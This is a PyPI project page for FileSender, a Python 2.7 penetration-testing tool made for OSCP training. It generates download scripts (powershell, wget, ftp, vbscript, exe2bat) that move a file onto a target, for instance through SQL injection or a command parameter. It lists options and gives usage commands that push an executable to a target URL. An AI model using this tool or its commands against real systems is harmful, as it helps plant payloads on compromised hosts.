Skip to main content

Create script into different language to download a file form a server . Can be useful to send file via a SQLi.

Project description

PyPi License Donate Beerpay

Table of Contents

FileSender

Project URL : https://github.com/EmilienPer/FileSender

FileSender was created to be used for OSCP certification. It's aims to generate a script to upload a file to a target in different languages. The base mechanism is the following :

  • Copy the file in a tempory directory
  • Start a server (if required)
  • Create the script to download the file from the server or to build the file
  • Send the script to the target

Requirement

FileSender run on Python 2.7 can't work correctly without the following tools

The following tools are required:

  • upx (/usr/bin/upx)
  • exe2bat.exe
  • wine

Installation

sudo pip install filesender

Options

Option Shortcut Description
file The path to file to send
method the language of the script (powershell,hex,ftp,wget,vbscript,exe2bat)
type the type of output/sending method (print / get / post)
dest the destination directory on the target
--server-ip The local ip address
--server-port The local port
--url -u The Target URL
--params -p A json {key:value} where value=<SCRIPT> when should be replace by the script
--cookies -c The cookies json
--timeout The timeout for server

Usage

  • filesender /path/to/my/file.exe wget get /path/on/the/target --server-ip 10.10.10.10 --server-port 80 -u http://target.com -p {\"cmd\":\"<SCRIPT>\"} -c {} --timeout 10
  • filesender /path/to/my/file.exe ftp print /path/on/the/target
  • filesender /path/to/my/file.exe wget get /path/on/the/target --server-ip 10.10.10.10 --server-port 80 -u http://target.com -p {\"cmd\":\"<SCRIPT>\"}

Issues management

For contributions or suggestions, please open an Issue and clearly explain, using an example or a use case if appropriate.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Files for filesender, version 1.2.1
Filename, size File type Python version Upload date Hashes
Filename, size filesender-1.2.1-py2-none-any.whl (22.3 kB) File type Wheel Python version py2 Upload date Hashes View hashes
Filename, size filesender-1.2.1.tar.gz (7.0 kB) File type Source Python version None Upload date Hashes View hashes

Supported by

Elastic Elastic Search Pingdom Pingdom Monitoring Google Google BigQuery Sentry Sentry Error logging AWS AWS Cloud computing DataDog DataDog Monitoring Fastly Fastly CDN DigiCert DigiCert EV certificate StatusPage StatusPage Status page